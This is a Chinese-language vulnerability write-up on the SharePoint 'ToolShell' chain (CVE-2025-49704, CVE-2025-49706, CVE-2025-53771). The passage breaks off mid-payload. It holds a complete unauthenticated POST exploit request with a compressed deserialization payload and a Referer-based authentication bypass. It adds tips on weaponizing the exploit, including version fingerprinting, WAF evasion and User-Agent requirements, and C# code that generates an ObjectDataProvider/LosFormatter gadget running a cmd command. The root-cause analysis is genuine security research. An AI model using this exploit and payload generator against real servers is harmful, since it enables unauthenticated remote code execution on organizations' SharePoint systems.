0x00 环境搭建

https://www.alibabacloud.com/help/tc/ecs/use-cases/install-sharepoint-2016

WindowsServer 2016

sharepoint 16.0.10337.12109

0x01 漏洞复现

Poc

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: 192.168.0.104:44946
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: /_layouts/SignOut.aspx
Content-Type: application/x-www-form-urlencoded
Content-Length: 7003

MSOTlPn_Uri=http%3a//192.168.0.104%3a44946/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22iabkxcni%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22obsajjosoict%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3ciabkxcni%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3cobsajjosoict%3aExcelDataSet%20CompressedDataTable%3d%22H4sIANvgkmgAA9Va23LjSHKdscMb9qzf/AMKPU%2b3AFLsGXWoO4IgWRDZIiSARIHAxkQsbi2QBEAO7%2bLv%2bAv9BfbJLPDSt%2bmZWe%2bsrQ5RbBaqMvPkyVNZAL/59ptvvvlv/NBf%2bvn3f8KLNXhertLiZTtchd9fyHSxHM/KN9cvNfr3/UVrna/Wi/RNma5XizD//uJxHeXj%2bF36PJxN0/JN9MMPYSNuvNJv6tep9uPNv9Di/3G2Jr8M0hXZ%2brdRkQ/iLC3CP%2bNde/z%2bvbkIi2%2b/pbE//TNe/utfb3fL10u%2b5GJX5OXyzeWlevN6h/fZajV/fXW13W5fbusvZ4unq5qm6Vej/r1a9nBtsUxg9c3lelFWqy1fFON4MVvO3q9exLPiNa57oa66vBgnby6X4/KpzMbZfD2P8mRTXr797uKCnEnztEjL1UUZFulnLrtQi7zuLqs431yuFuv0%2bLm7TFvrxQIr3M/iME%2brYVqdfsgC3Jnn6W74PE8PHx%2bHstk4Ti%2bKcfkQx%2bsFENCwcrg7/G9dRrN1maTJ5fnMw%2bwPXd8k78dRMs/2s1k0fz9efzLlK/58fNky/XmdlvEXr/m8F6uijMbrOFmX6%2bQIEkFH5t5cVsRpzfI8jVdg4vKlmZbpYhy/vB8vV3/V//KXc24N0sUGAC1fdstVuijD/GVnNw8JEG8Rzufp4q%2b14wQvjV663Zf3s6WYLYpwhQnfX5zGfg/3tfr7xvsf3ut60tDCevjT90db4zKZbZfKyYdogljo7eNithknZPdxkS4BSkghCtRAup0tpr/Dhboeva//2HgVJvVX12m98dNPx5g%2bAOh/obJ/%2bunyYsVJQlLD8pkSdvkhNa%2b%2byJerrxCGL/gF4vF4xaQPiuTqWCXHkvrMUh9OV96wLLz97k8kPv8pbhOo0dPitfoTFr9LSNQctcTX5hwMvdjoVSXefiwup0BvPy7ei8pdkq5hGOUnwVnMtg8LcIyloroqC5etLCyfUmRpXC7TxeoTxbg9L8yj4o6/LrkvsOAqRFpPOp38CqH%2blAS3H5Xuw/vzUv20iP4AJy8%2bz%2bejpx3FqC/Q/haektNpgjcIaPWsfVkrb/vpKpslFqTgbRvasBiH%2bXif3l6dff61yY8hKQnAWv6SJuPyqnr/CASx%2bOuDaiSvl6sFOH759mrbed62tGbTbjabj1f4%2bdFoHn%2b2LXodSKsR1508GmyfZCGf41q%2biSaadj9prvut6%2b19y2gn3k5LRr380Wvkych59r3tsisM3S92c19b5al0NmFNrh%2b9bt2qdXR/79b6w%2bneMt3tQ3sq2H7XNtx6vk9MubqfWpvI3OV%2b3ZlHtcb%2bfprkEWyHXn/t1m6ecc3UrUnNb4vI0w/%2bNYbJXW8eFfGya%2bp7H9dFZj6Gf14w6u1D72b9OLSVz5Pmstux9OjO0ePCvcHaOuZmUWv75N7JMeZNBjXZkObNIvCub/xJXPeHcmIN/d3DsK8Fw%2bb1A6YosGQ7qst10szaUU3f%2bsAhfkqONg031wJP3zeb/abxNLaaRzwbuH63DDxLo%2bvi58ZdAPziIp9w/CMjw/s94j%2btWzR3nr4apiMLa2prt%2b4Ak0aJGFdxzdrEhPf475UnTLGfmBPNJ3qZts/ed%2bjVQIzNZuv/eYwcyv2odu7fdbubH2PqBN4uD2pCC6RFsWTgyyt/xFztIt5pMOr2DOK00emcMPJNes2y7cZ/NrZRPcnj0pphrWW3pYuosDYBeG3XblaRJ9ZBy3hnu7257SbC9qy6XewMR%2bTGcCpasiO6rismgdbb2m6s2XJet73EcNqGMXCFEbrCtF3hJFpvZLtS2NJy7GlgOPXECDqiFU6F8DXx6LpdHes7thR1e2oZzjAzpC5aXkd0HFeMYf9n23UsjJd2cWM4xcoYeklLTkUn1MTQdXt723U12204djE3nI5uSIzHmriDHzLROjvYl7bMHTvPDEfmhl8kLfh31%2b%2bw/Zqy36vbJezXbgxvlLQsVwisH8L/e9sNHKxv2FPYd3XDx/p9rJ9oQsJ%2bB%2bv3EB/8y%2bFfYrg0PhV3Q/gPfAZYf2LLwLBLh%2b1T/D7wCTThBloX/gcLjNd5feAjXcZXRJrwEP8S46UtndIeAV9gIMvEgO2u5Ph6uAZjngC%2bc/ZP5sKIgS/yQ/7VeFzmdXsE/4aOEUjg32H7Dn7r8B/2LcS3An7S8OB/AvueKyzYR%2byBxfFNAmVfE62BJjrAd4T4Ap5/sO9ZRgD/I4X/GPYXsI/8Jwp/XRg%2b%2bAPfTOAzxPydmi/V/JplSCkoPsrvAPOHsB9w/okfU/CP8Dnlf8f4uTrmN4CvMEC3ltXh/GWB1tkyP4hfpQF8EF%2bZtAbAB%2bs4Cn/KP%2bG/MgbgjyeZfwL8oPxj7Rhr3Dh2qfB3wQ9bEyb4OYJ9n%2bd7KLcc%2bHZyjh/5N2HfSzj/8TXwq9t5D%2bPwr36yj/nrI/7lnPND60fgDzhM%2bCj7sgf8JfBdGS7wHwIf5J/iF8DX4PrLA%2bY/4WthPjAeqPrLEB%2buIX57NzzuK/7nNtcP44f5FuIXlH8jdUUH86dYf3Dk3yH/wCHtiDvEF8C/HuLf256D/ErO/1Dn/Jv4pfpHfAnx27FHc1X/4BfmUv17wB/Yyjrjh9pm/mN%2bDH3xVf2NVPyBil/Tuf6BTRf8DBR/EBt4b091rl/Kf9/l/ME%2b5T%2bbcPxT1J%2bbGy7ih30T6yN%2b4j/lP1H8r%2bqP9Ecq/Vmo%2bKWyDx8RP9V/d6jwv%2bP6J/7liG9vcP7BX8o/6ofiS%2brID8YT5m9gJlR/VD8UP/HXUPybGwMT/BeC8Of5WD/D/A3mK/0YGga433I05gf0oyfZvicM5j/45%2baMn4iVfrz6Jf6f%2bEf62%2bP687B%2bVf85xrEHyAnHV%2bZcv8z/U/31jvpL%2bNfVfNJf4h/8Q/06kvVnivoHR3xln/QT/pM%2bJ9aBf4Q/6Y9U%2bCP3FH8w4f1jIoCfpPwb0GfSP9IfjfH1UB/EH9LfWsL6U/Ef/M6gH3nJ8QtpSOAPHyn/hF%2bN9zfCfyhU/kfMfxPxPyA%2b0tce868UKv7yA/5tlX6hfnOD80f6NFT6Q/xvKf2n/c/5jP6IhtJ/4l%2blfzW2T/hDvxh/h/ldIL9arvgHfMBdF/g8H/WH4pfAR57wh/2Nij8p2T7W9zHuagf%2bEf8Doexb7D/hDx2g/JD98Mh/0j/YJ/ypvlyOn/xHfj3sEwXyW1i8fxL/EhV/m/dP5r/afwgf2v98VR/EfzWf6gP1U9k3q/gXzD%2bKb9Jj%2b/Cf7WOdQOkv2Ucclf0h%2bJ9gfbX/dIkfJcdP%2boP6CYTaPzBfBozPh/u/C/3B3IP%2beNx/sP3gmH/sgdT/uEo/5UbhL471H1f1nzD/M4P5R/svapvsQ4NIf8dV/JuD/QHxs8b7O%2bnnJFH4T7j%2byT646Y8Y/wP/9r%2bgP1S/4IeD%2bbQ/Ab999tX6r%2bIn%2b5nqv0i/heI/9J/6h7P67yh8oWHUH6L%2bUF8H/7H/Eb8yyfVD8eecvxZsV/rVJf72FH8E7z/M/ynnn/z/PP86XP%2bkb8i/DJD/kvOPOqT9ra/899yP9Rf8o3HvlP8623f10gY3jvZP9Wep/Y3yr%2brfR39F%2blP1Py7HT/sf64/qf%2bD/Gf8pflxD/Mf%2bRfij/6T6o/39WuW/6v/IPsaxf6P5EYi91%2bf6of770H8q/O/8I/7UX8/rh/6P9j/0D6ZU/Rft/5uj/por5h/6b65/V/EvYP3l/kewflP90XzFP9I/zKf4KX857z/dU/0Fav%2bh%2bA/4T7n/yxLtHH%2bH%2byvyP1L1S/43qv6jpP6d%2bV8c%2b0/i/0zxX6r%2b/7P6m1ncfxa6ih/8PeyfGP9Z4Y/5vP/k3L8j/jtL1d/%2bvP4HON%2bQ/qB/pvoeV/23xfjT/qHnvP%2bhfjj/uKbB%2bxf3PxbHT/7H7rH/36v%2bA/VL9qn/MdX5I1T1TfgEqv4QP/Zv9D/EP5pf9V/An/rPicH8ofiBP%2bl/hT/pD/YfOn8o/Kn%2b7iTnV1yf9L/af9E/uqq/shS/Plv/vL/A/w73H55TV/qr%2bi/0n13q/2A/qPQH%2biLUfGjcgyvaA9VD4vxkORw/9IHyT%2bcf7A%2bEf1DVJ/ZPwl%2bq81m1f8F/rNsBvojNzdX%2bZeJ81lHnB6zvAr8u808i/%2bPq/IJx1JF46GCLcnsP6E%2buuX89G8cZ9rA/D9U4etCzcer/Je/PVN9S8ec0Tv1vB/wD9tx/YZzyL1ifqf4wl%2bbTuKXqk84/BuMv1fnZTFT%2b61X8JfX/A2DnVfEnnB%2bhH8/f0L8BtHUA/YP/BvTtnepPE9VflWp/8nLub0k/8gpfyfNP5/MWOELnL9LXV%2bp8gPpEf2nv1fkjUfUxRfzgf4b6xlih8B/WmH/Ef9IHTZ1/cb6m84uO/qNgfab1pzbXdxUf%2bhcb2jqg/hv8dlR9Y30n4PM16QPi92vJgR/YfwX8px4e50%2bcfY7xwT/kN1T1Wd0/oPjhP/ErUvNhH/uCa2N%2bDv/BX/SotH%2blqr5DxA//%2b9ph/yJ8Md9IVP7GSj/o/Eb9t8Hrk37jmg7wfwy4P6D%2bBvENK/wwHqn7I1LpH%2bEHfhK/UR84Oxuh6s/I/ml92j9J3zy%2b/3DwD/mx6AyNHnBl2LrSZ4pvqPCv8j9X5xvs73R/A/jfKf/JPurHQ3yUf8RP%2bGG8rc5H1P/Gmsrv7oCfgb6OxsFt0l/wg/Qd88/sd6v8Vvd/cqVPtRX390m1f6r7M/CP8B853J9SfknfkD%2b6f9Sq9LPCl/0n%2bwf%2b1Lh/sv07vo9Vs1ZB0xb09jfeD%2bN7ha0OrjdlibHcqOl5YmaboN28izyphebNtG/32829cbz355hyifNqlphyGIx6c9/bzdNC8L3EgXmzDEz5/E47rel4DS0up5vjfeS8lwfF4T7y9XroyZVfyOeB1ygi/Yu%2b/q3ze%2bom6bTHMdsz%2btPhz9p/c2ycB%2bPOacSm2/VH1j7w9HF0NzUTUzwHNal1SieLiyRPBF0jjbhu5ZHXW6Z2Q/NHvTIYOW46MvJhIVaBPV/h/7Oo5jz4np63vU/sGU27i99Ouy9%2bU74XZ/GJqHSeU9u/J9%2bXzd4Jg1Ku/Vpz/4%2b833sv/m/Ydsw8C2qNDTCe%2b/X%2b2r3rbfya3MfP26cjH/%2bezzKetsSs%2b2hkTaJ6bxl6XcQS0D1q4v6NpWzB5vbJrstlciefg6G%2bDkZSiwuxhG924tE86z4Y5W5UW%2bXRRB9b%2bySzvL5uTTqN/t7J%2b%2b2nRuvJt/6gZ0tmm%2b69G/Ov47z1H7m2pEV1orWcpqpbuo/fujlxpJAFamSSmPB13LCo/pCTXlQEG7dGz6jEMhzNMx6fZpvIdPL4Kea1VM3tTjXpNrLIc3t2bZfhM67BlrTm8C9jfO35MPSSNWqLcvvcmuo0L49zrn/bQdysHRpqvy5XAdXstkP1ajSb/W779ByGa97TcSDasjZZSpuu6Y/Jgt5u/AouGkPSmaSVfa5mPvnsne1LWvrxbK8APmVU3IDP%2bSR%2bbthxcTMJoGNdoXB/Jz7zPO/Tz%2bZKY2dGSz1/UnHw%2b%2bT4LKllc7AmP3hp6p/4Z2Q8bwE91/r77hM9e4lJRwe/Or6QFuif4utFpb3vj42jD781nrMHRqZJ7t%2bJo92Df%2bHI2kT/8Odk0z5z6Kn667DPPZWD2f3tVfV4%2bxeel1/9%2bgfmt%2bqbB93q8ffZA%2b3zrydcvr29%2bvDCL3wn4OrXfCng9uo3fhfio%2b9yXJ1/mePsWyRXH3%2bNpPriydWn3zy5vfroCzFvv/vz/wAhdP%2bjQSgAAA%3d%3d%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/iabkxcni%3aUpdateProgress%3e%0a

image.png

漏洞分析

根据卡巴斯基和Viettel Cyber Security的漏洞分析报告来看一下漏洞原理

https://blog.viettelcybersecurity.com/sharepoint-toolshell/

https://securelist.com/toolshell-explained/117045

这里我们先来分析一下反序列化漏洞,

CVE-2025-49704

根据分析文章来看,漏洞产生点

Microsoft.PerformancePoint.Scorecards#Helper

// Token: 0x06000CEF RID: 3311 RVA: 0x00029058 File Offset: 0x00027258
        public static object GetObjectFromCompressedBase64String(string base64String)
        {
            if (base64String == null || base64String.Length == 0)
            {
                return null;
            }
            object result = null;
            byte[] buffer = Convert.FromBase64String(base64String);
            using (MemoryStream memoryStream = new MemoryStream(buffer))
            {
                memoryStream.Position = 0L;
                GZipStream serializationStream = new GZipStream(memoryStream, CompressionMode.Decompress);
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                result = binaryFormatter.Deserialize(serializationStream);
            }
            return result;
        }

利用dnspy分析,可以看到在ExcelDataSet中进行了调用。

image.png

这里我们可以看到BinaryFormatter.Deserialize实际上是反序列化一串XML的内容。

image.png

这串XML内容,就是利用到了恶意的ExpandedWrapper方法来调用任意的方法,这里就调用到了LosFormatter#Deserialze方法,

还有一个疑问,BinaryFormatter是用来处理二进制数据的,为什么BinaryFormatter.Deserialize可以反序列化XML数据呢?

这涉及到了另一个漏洞CVE-2020-1147,在MSRC中明确指出了DataSetDataTable

image.png

这里我写了一个Demo便于理解

using System;
using System.Collections.Generic;
using System.Data;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;           
class Program
{
    static void Main()
    {
        var person = new Person();
        var odp = new ObjectDataProvider
        {
            ObjectInstance = person,
            MethodName = "say",
        };
        odp.MethodParameters.Add("hello");

        var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(Person), typeof(ObjectDataProvider));
        dynamic wrapper = Activator.CreateInstance(wrapperType);
        wrapper.ExpandedElement = person;
        wrapper.ProjectedProperty0 = odp;

        var listType = typeof(List<>).MakeGenericType(wrapperType);
        dynamic list = Activator.CreateInstance(listType);
        list.Add(wrapper);

        DataTable dt = new DataTable("hehe");
        dt.Columns.Add("pwn", listType);
        dt.Rows.Add(list);
        DataSet ds = new DataSet("somedataset");
        ds.Tables.Add(dt);

        BinaryFormatter bf = new BinaryFormatter();
        using (FileStream fs = new FileStream("payload.bin", FileMode.Create))
        {
            bf.Serialize(fs, ds);
        }

        BinaryFormatter bf1 = new BinaryFormatter();
        using (FileStream fs = new FileStream("payload.bin", FileMode.Open))
        {
            bf1.Deserialize(fs);
        }

    }

}

image.png

当遇到DataSet的时候,会重写BinaryFormatter.Serialize正常序列化的流程,导入写入了XML内容,同样反序列化也如此。

上面XML的内容就是利用了ObjectDataProvider去调用了LosFormatter#Deserialize方法

继续来看一下是如何调用到这个ExcelSet组件的。

来看一下ToolPane.aspx文件

<%@ Assembly Name="Microsoft.SharePoint.ApplicationPages" %> <%@ Page Language="C#" Inherits="Microsoft.SharePoint.ApplicationPages.ToolpanePage"       %> <%@ Import Namespace="Microsoft.SharePoint.ApplicationPages" %> <%@ Register Tagprefix="SharePoint" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="Utilities" Namespace="Microsoft.SharePoint.Utilities" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Import Namespace="Microsoft.SharePoint" %> <%@ Assembly Name="Microsoft.Web.CommandUI, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <% SPSite spServer = SPControl.GetContextSite(Context); SPWeb spWeb = SPControl.GetContextWeb(Context); %>
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<html dir="<SharePoint:EncodedLiteral runat='server' text='<%$Resources:wss,multipages_direction_dir_value%>' EncodeMethod='HtmlEncode'/>">
<head>
    <meta name="GENERATOR" content="Microsoft SharePoint"/>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <meta http-equiv="Expires" content="0"/>

    <title id="onetidTitle"><SharePoint:EncodedLiteral runat="server" text="<%$Resources:wss,pagetitle_sharepoint%>" EncodeMethod='HtmlEncode'/></title>
    <SharePoint:CssLink runat="server"/>
<SharePoint:CustomJSUrl runat="server" />
<link type="text/xml" rel='alternate' href="_vti_bin/spdisco.aspx" />
</head>
    <SharePoint:ScriptLink name="core.js" localizable="false" Defer="true" runat="server" />
    <body oncontextmenu = "return false;" onclick = "if(event.shiftKey) {event.returnValue = false; event.cancelBubble = true;}">
    <form runat="server">
            <asp:ScriptManager id="ScriptManager" runat="server" EnablePageMethods="false" EnablePartialRendering="true" EnableScriptGlobalization="false" EnableScriptLocalization="true" />
        <WebPartPages:SPWebPartManager ID="SPWebPartManager" runat="server"/>
        <WebPartPages:WebPartZone runat="server" ID="ImportedPartZone" />
        <WebPartPages:ToolPane runat="server"/>
        <SharePoint:FormDigest runat="server"/>
    </form>
    </body>
</html>

其中主要的操作在Microsoft.SharePoint.WebPartPages类中

SelectedAspWebPart

image.png
这里会进入到GetPartPreviewAndPropertiesFromMarkup方法中

但是这里是有条件进入的,

if (this.InCustomToolPane && this.SPWebPartManager.DisplayMode == WebPartManager.EditDisplayMode)
                    {

要求InCustomToolPaneDisplayModeEdit,所以我们需要传入DisplayMode=Edit来进行设置,

InCustomToolPane需要通过Utility.CheckForCustomToolpane的检查

image.png

        public static bool CheckForCustomToolpane(string pagePath)
        {
            bool result = false;
            if (pagePath != null)
            {
                result = (pagePath.IndexOf("/_layouts/", StringComparison.OrdinalIgnoreCase) != -1 && pagePath.EndsWith("/ToolPane.aspx", StringComparison.OrdinalIgnoreCase));
            }
            return result;
        }

要求pagePath中必须有/_layouts/,以/ToolPane.aspx结尾。

所以如果我们想要进入GetPartPreviewAndPropertiesFromMarkup函数,路径必须是/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx

在这个GetPartPreviewAndPropertiesFromMarkup函数中,

这里获取到一个documentDesigner

                documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication);

需要指定一个SharePoint的页面,继续看一下这个SharePoint的页面有什么要求

image.png

这里要求必须是_controltemplates/开头,.ascx结尾。

所以构造MSOTlPn_Uri=http://sharepoint/_controltemplates/15/AclEditor.ascx

接下来就会获取到MSOTlPn_DWP参数来继续构造组件。

会先实例化一个ServerElementMarkupSource

ServerElementMarkupSource serverElementMarkupSource = new ServerElementMarkupSource(text);

这部分相当于对我们传入的控件字符串进行一个解析处理。

image.png

接着会调用PageParser#CreateAndInitializeDocumentDesigner函数

documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication);

这里会初始化一个IServerDocumentDesigner对象,相当于一个ASP.NET的页面解析沙箱。

最后会进入到documentDesigner.CreateNestedElementDesigner函数中进行解析

IServerElementDesigner serverElementDesigner = documentDesigner.CreateNestedElementDesigner(serverElementMarkupSource, parentElement, 0, true);

其中会进入到一个ParseControlsInternalHelper函数中,在这个函数中会进行一个BuildObject的操作,从而触发到DataTable的构造函数其中的GetObjectFromCompressedBase64String函数

image.png

这部分的插件调用其实可以参考微软的官方文档

https://learn.microsoft.com/zh-cn/previous-versions/office/developer/sharepoint-2010/hh228018(v=office.14)

CVE-2025-49706

根据文章来看,发现漏洞的点在PostAuthenticateRequestHandler方法中

关键代码如下

if (!context.User.Identity.IsAuthenticated)
                {
                    if (flag5)
                    {
                        if (this.RequestPathIndex == SPRequestModule.PathIndex._layouts)
                        {
                            Uri uri2 = null;
                            try
                            {
                                uri2 = context.Request.UrlReferrer;
                            }
                            catch (UriFormatException)
                            {
                            }
                            if (uri2 != null)
                            {
                                string absolutePath = uri2.AbsolutePath;
                                if (SPRequestModule.s_LoginUrl == null)
                                {
                                    ULS.SendTraceTag(2470943U, ULSCat.msoulscat_WSS_Runtime, ULSTraceLevel.Unexpected, "LoginUrl is unset for request to '{0}'.", new object[]
                                    {
                                        SPAlternateUrl.ContextUri
                                    });
                                }
                                else if (absolutePath.EndsWith(SPRequestModule.s_LoginUrl, StringComparison.OrdinalIgnoreCase) && (text3.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || text3.EndsWith(".js", StringComparison.OrdinalIgnoreCase)))
                                {
                                    context.SkipAuthorization = true;
                                }
                            }
                        }
                    }
                    else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
                    {
                        if (flag3)
                        {
                            ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[]
                            {
                                SPAlternateUrl.ContextUri
                            });
                        }
                        SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                    }
                    else if (flag6)
                    {
                        HttpCookie httpCookie = context.Request.Cookies[SPSecurity.CookieWssKeepSessionAuthenticated];
                        HttpCookie httpCookie2 = context.Request.Cookies[SPSecurity.CookieWssKeepAuthenticated];
                        if ((httpCookie != null && SPUtility.StsCompareStrings(httpCookie.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue)) || (httpCookie2 != null && SPUtility.StsCompareStrings(httpCookie2.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue) && !flag2))
                        {
                            SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                        }
                    }
                }

其重点就是flag7flag7是是否允许设置匿名访问,我们这里默认为false,所以会直接返回401

else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
                    {
                        if (flag3)
                        {
                            ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[]
                            {
                                SPAlternateUrl.ContextUri
                            });
                        }
                        SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                    }

但是我们可以看一下前面

bool flag7 = false;
                string text3 = context.Request.FilePath.ToLowerInvariant();
                if (flag6)
                {
                    Uri uri = null;
                    try
                    {
                        uri = context.Request.UrlReferrer;
                    }
                    catch (UriFormatException)
                    {
                    }
                    if (this.IsShareByLinkPage(context) || this.IsAnonymousVtiBinPage(context) || this.IsAnonymousDynamicRequest(context) || context.Request.Path.StartsWith(this.signoutPathRoot) || context.Request.Path.StartsWith(this.signoutPathPrevious) || context.Request.Path.StartsWith(this.signoutPathCurrent) || context.Request.Path.StartsWith(this.startPathRoot) || context.Request.Path.StartsWith(this.startPathPrevious) || context.Request.Path.StartsWith(this.startPathCurrent) || (uri != null && (SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathRoot) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathPrevious) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathCurrent))))
                    {
                        flag6 = false;
                        flag7 = true;
                    }
                }

其中如果referer

  • /_layouts/SignOut.aspx
  • /_layouts/14/SignOut.aspx
  • /_layouts/15/SignOut.aspx

image.png

则可以将flag7设置为true,从而允许匿名访问,不会立即发送401

我们的目标是访问toolpane.aspx,这并不会通过每个页面的检查,

SharePoint中使用的网页有一些基本类型,其中toolpane.aspx使用的是WebPartPage它将会在生命周期的某个时间内进行身份验证。

FormOnLoad事件中进行了身份检查,所以仍然会返回401

image.png

会进入到contextWeb.Request.RenderFormDigest(bstrUrl, spstringCallback);

image.png

那我们是怎么进入到GetPartPreviewAndPropertiesFromMarkup中的呢?

如果想要绕过OnLoad事件之前的鉴权,就需要在这个事件触发之前进入到GetPartPreviewAndPropertiesFromMarkup函数。

这里就涉及到了ASP.NET的生命周期

https://learn.microsoft.com/en-us/previous-versions/aspnet/ms178472(v=vs.100)#life-cycle-events

OnLoad事件之前,InitComplete事件之后,会自动触发GetPartPreviewAndPropertiesFromMarkup函数。

CVE-2025-53771

正是上面漏洞的一个绕过,正如卡巴斯基团队所分析的那样,使用ToolPane.aspx/就可以进行绕过

image.png

0x02 对武器化一些思考

第一点,部分武器化的利用代码,是检测了/_layouts/15/error.aspx来检测版本从而决定是否利用EXP,但是这并不对,因为我们在未开启匿名访问的时候,访问/_layouts/15/error.aspx401状态,

image.png

那我们应该检测什么呢?在看msf中的pr时,我发现有人提起start.aspx,碰巧在上面设置referer头的时候也看到了这个,

image.png

在这里,我们可以看到当访问start.aspx的时候,也会实现和referer头一样的效果。

image.png

或者我们在检测error.aspx的时候,加上referer头设置匿名访问。

image.png

第二点,在反序列化的利用过程中,我在测试的时候发现了另外一种反序列化的利用方式,当我们开启两种登录模式的时候,

image.png

此时我们访问页面就变成了这样的(这里仍然是未开启匿名访问),

image.png

我们不添加referer头仍然可以攻击成功。

image.png

那这里有什么用呢?或许对某些绕waf有一点作用。

第三点,可能是因为我安装的sharepoint版本高一些,服务器对User—Agent进行了严格的检测,如果不添加是没有办法攻击成功的。

image.png

0x03 POC的构造

我们先来看一下上面能打通的POC

<%@ Register Tagprefix="iabkxcni" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="obsajjosoict" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
  <iabkxcni:UpdateProgress>
    <ProgressTemplate>
      <obsajjosoict:ExcelDataSet CompressedDataTable="...." DataTable-CaseSensitive="true" runat="server"/>
    </ProgressTemplate>
  </iabkxcni:UpdateProgress>

其重点就是需要去构造CompressedDataTable数据,通过上面的分析可以知道CompressedDataTable的数据是BinaryFormatter反序列化的数据。

所以这里我们直接构造

using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Services.Internal;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization.Formatters.Binary;
using System.Web.UI;
using System.Windows.Data;

namespace SharePointPoc
{
    internal class Program
    {
        static void Main(string[] args)
        {
            var losFormatter = new LosFormatter();
            var odp = new ObjectDataProvider
            {
                ObjectInstance = losFormatter,
                MethodName = "Deserialize",
            };
            odp.MethodParameters.Add("/wEywhEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACS9jIHdpbnZlcgYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRl